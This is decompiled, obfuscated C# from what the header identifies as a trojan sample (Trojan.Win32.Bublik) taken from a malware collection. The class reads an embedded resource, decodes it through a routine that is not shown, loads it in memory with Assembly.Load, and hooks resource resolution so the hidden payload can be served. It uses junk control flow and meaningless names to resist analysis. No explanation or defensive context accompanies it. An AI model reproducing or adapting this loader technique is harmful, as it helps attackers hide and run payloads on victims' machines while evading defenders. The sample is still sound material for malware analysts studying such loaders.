// Decompiled with JetBrains decompiler
// Type: A.ced138b6eee8b5fea3f196334f6720805
// Assembly: Club, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: A9E8E336-37BF-4AEB-A0AA-C09A4AE1EC93
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Bublik.elhu-ed0d569ec8fd2e2d6812dba8d62238da6ea0bd69bdb94d8701830057b4b02ac4.exe

using System;
using System.Reflection;

namespace A
{
  internal class ced138b6eee8b5fea3f196334f6720805
  {
    private static readonly Assembly c7956d9417023ac40f6a0eb5665bf366c;

    static ced138b6eee8b5fea3f196334f6720805()
    {
      if ((object) ced138b6eee8b5fea3f196334f6720805.c7956d9417023ac40f6a0eb5665bf366c != null)
        return;
label_1:
      switch (3)
      {
        case 0:
          goto label_1;
        default:
          if (false)
          {
            // ISSUE: method reference
            RuntimeMethodHandle runtimeMethodHandle = __methodref (ced138b6eee8b5fea3f196334f6720805.\u002Ecctor);
          }
          Assembly executingAssembly = Assembly.GetExecutingAssembly();
          string name = executingAssembly.GetName().Name;
          foreach (string manifestResourceName in executingAssembly.GetManifestResourceNames())
          {
            if (name == manifestResourceName)
            {
label_6:
              switch (3)
              {
                case 0:
                  goto label_6;
                default:
                  ced138b6eee8b5fea3f196334f6720805.c7956d9417023ac40f6a0eb5665bf366c = Assembly.Load(c5269112b03e601219f1714817a27b79a.c09b1f452b50c37ba72a9d599e693a36c(executingAssembly.GetManifestResourceStream(name)));
                  return;
              }
            }
          }
label_10:
          switch (7)
          {
            case 0:
              goto label_10;
            default:
              return;
          }
      }
    }

    internal static void c496a7d7e6524413c65d8aa7379640bb1() => AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(ced138b6eee8b5fea3f196334f6720805.c3e00543c0030da506a3c9417db159586);

    private static Assembly c3e00543c0030da506a3c9417db159586(
      object c932adab82a8e17f3df4be69b90bf6c46,
      ResolveEventArgs c40515e8f64a790a3f5078c209ce553e3)
    {
      if ((object) ced138b6eee8b5fea3f196334f6720805.c7956d9417023ac40f6a0eb5665bf366c == null)
        return ced138b6eee8b5fea3f196334f6720805.c7956d9417023ac40f6a0eb5665bf366c;
label_1:
      switch (7)
      {
        case 0:
          goto label_1;
        default:
          if (false)
          {
            // ISSUE: method reference
            RuntimeMethodHandle runtimeMethodHandle = __methodref (ced138b6eee8b5fea3f196334f6720805.c3e00543c0030da506a3c9417db159586);
          }
          foreach (string manifestResourceName in ced138b6eee8b5fea3f196334f6720805.c7956d9417023ac40f6a0eb5665bf366c.GetManifestResourceNames())
          {
            if (manifestResourceName == c40515e8f64a790a3f5078c209ce553e3.Name)
              return ced138b6eee8b5fea3f196334f6720805.c7956d9417023ac40f6a0eb5665bf366c;
          }
label_9:
          switch (4)
          {
            case 0:
              goto label_9;
            default:
              return (Assembly) null;
          }
      }
    }
  }
}
